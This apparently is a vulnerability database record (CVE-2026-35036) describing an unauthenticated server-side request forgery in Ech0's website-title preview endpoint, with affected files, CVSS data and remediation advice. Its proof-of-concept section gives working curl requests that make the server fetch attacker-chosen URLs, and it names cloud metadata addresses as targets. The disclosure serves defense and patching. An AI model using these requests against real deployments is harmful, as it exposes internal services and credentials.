{"id":"CVE-2026-35036","aliases":["GHSA-wc4h-2348-jc3p","GO-2026-5704"],"url":"https://o3.security/vulnerability/CVE-2026-35036","summary":"Ech0 Affected by Unauthenticated Server-Side Request Forgery in Website Preview Feature","details":"### Summary\n\nEch0 implements **link preview** (editor fetches a page title) through **`GET /api/website/title`**. That is **legitimate product behavior**, but the implementation is **unsafe**: the route is **unauthenticated**, accepts a **fully attacker-controlled URL**, performs a **server-side GET**, reads the **entire response body** into memory (`io.ReadAll`). There is **no** host allowlist, **no** SSRF filter, and **`InsecureSkipVerify: true`** on the outbound client.\n\n**Attacker outcome :** Anyone who can reach the instance can **force the Ech0 server** to open **HTTP/HTTPS URLs of their choice** as seen from the **server’s network position** (Docker bridge, VPC, localhost from the process view). \nGo’s default `http.Client` **follows redirects** (unless disabled). Redirect chains can move the server-side request from an allowed-looking host to an internal target; the code does not disable this in `SendRequest`.\n\n### Affected Components\n\n**Ech0 codebase:**\n\n- `internal/handler/common/common.go`  \n  Handles the `/api/website/title` endpoint and accepts user-controlled URL input.\n\n- `internal/service/common/common.go`  \n  Processes the request and invokes the outbound HTTP fetch (`GetWebsiteTitle`).\n\n- `internal/util/http/http.go`  \n  Performs the HTTP request (`SendRequest`) with the following insecure configurations:\n  - No URL validation or allowlist\n  - Redirects enabled (default client behavior)\n  - `InsecureSkipVerify: true`\n\n### PoC \n\n**Environment:** Ech0 listening on `http://127.0.0.1:6277` (e.g. Docker image `sn0wl1n/ech0:latest`). No cookies or `Authorization` header.\n\n**Step 1 — baseline: unauthenticated server-side fetch (public URL):**\n\n```bash\ncurl.exe -sS -m 20 \"http://127.0.0.1:6277/api/website/title?website_url=https://example.com\"\n```\n\n**Observed result (verified):** HTTP 200, JSON with `code: 1` and `data` **`Example Domain`** — proves the **Ech0 process** performed an outbound GET without any client auth.\n\n**Step 2 — impact: host-bound page + recorded leak (repo PoC file)**\nCommitted PoC page: **`poc_ssrf_proof.html`** \n\n1. From **`poc file directory`**, listen on **0.0.0.0** (port **9999**):\n\n```bash\npython -m http.server 9999 --bind 0.0.0.0\n```\n\n2. **Docker Desktop (Windows / macOS):** Ech0 in Docker fetches the host via `host.docker.internal`:\n\n```bash\ncurl.exe -sS -m 20 \"http://127.0.0.1:6277/api/website/title?website_url=http://host.docker.internal:9999/poc_ssrf_proof.html\"\n```\n\n**Recorded response (verified this workspace, Ech0 4.2.2 in Docker):**\n\n```json\n{\"code\":1,\"msg\":\"获取网站标题成功\",\"data\":\"ECH0_SSRF_POC_LEAK_2026\"}\n```\n\n**Python server log:** `GET /poc_ssrf_proof.html` → **200** (proves the **server/container** pulled the page from your host).\n\n**Leak channel:** the backend **reads the full HTML body** before parsing (see `io.ReadAll` in `SendRequest`).\n\n\n### Impact\n\n- **Verified:** Unauthenticated callers can make the Ech0 process issue **server-side HTTP(S) requests** to **internal/reserved targets** reachable from that process (PoC Step 2: host-reachable listener reflected in JSON).\n- **Code-level:** The full response is **read into memory** (`io.ReadAll`); only the title string is returned. Combined with **default HTTP redirect following** (standard `http.Client` behavior; not disabled here), the effective request graph is larger than a single URL.\n- **TLS:** `InsecureSkipVerify: true` means **misissued or intercepted TLS** to internal HTTPS services is still accepted from the server’s perspective.\n- **Deployment-dependent:** Where routing allows (typical cloud VMs), **`169.254.169.254`-class** endpoints are in scope for the **same code path**; treat as **high*.\n- **DOS(Denial of Service)**: reading the whole body into memory with io.ReadAll is a DoS vector if you point it at a massive file.\n\n\n## Remediation\n\n- Enforce **SSRF-safe URL policy**: allow only needed schemes/hosts; block link-local, metadata, and loopback unless explicitly required.\n- Remove **`InsecureSkipVerify`**; use normal TLS verification.\n- **Limit redirects** (disable or cap hops; re-validate each target).\n- Add **response size / timeout** limits; optionally restrict egress at the **network** layer.","published":"2026-04-06T16:55:47.544Z","modified":"2026-08-12T03:51:13.016798237Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/lin-snow/ech0","fixedVersion":"1.4.8-0.20260401031029-4ca56fea5ba4"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35036.json"},{"type":"ADVISORY","url":"https://github.com/lin-snow/Ech0/security/advisories/GHSA-wc4h-2348-jc3p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35036"},{"type":"PACKAGE","url":"https://github.com/lin-snow/Ech0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:13.016798237Z"}}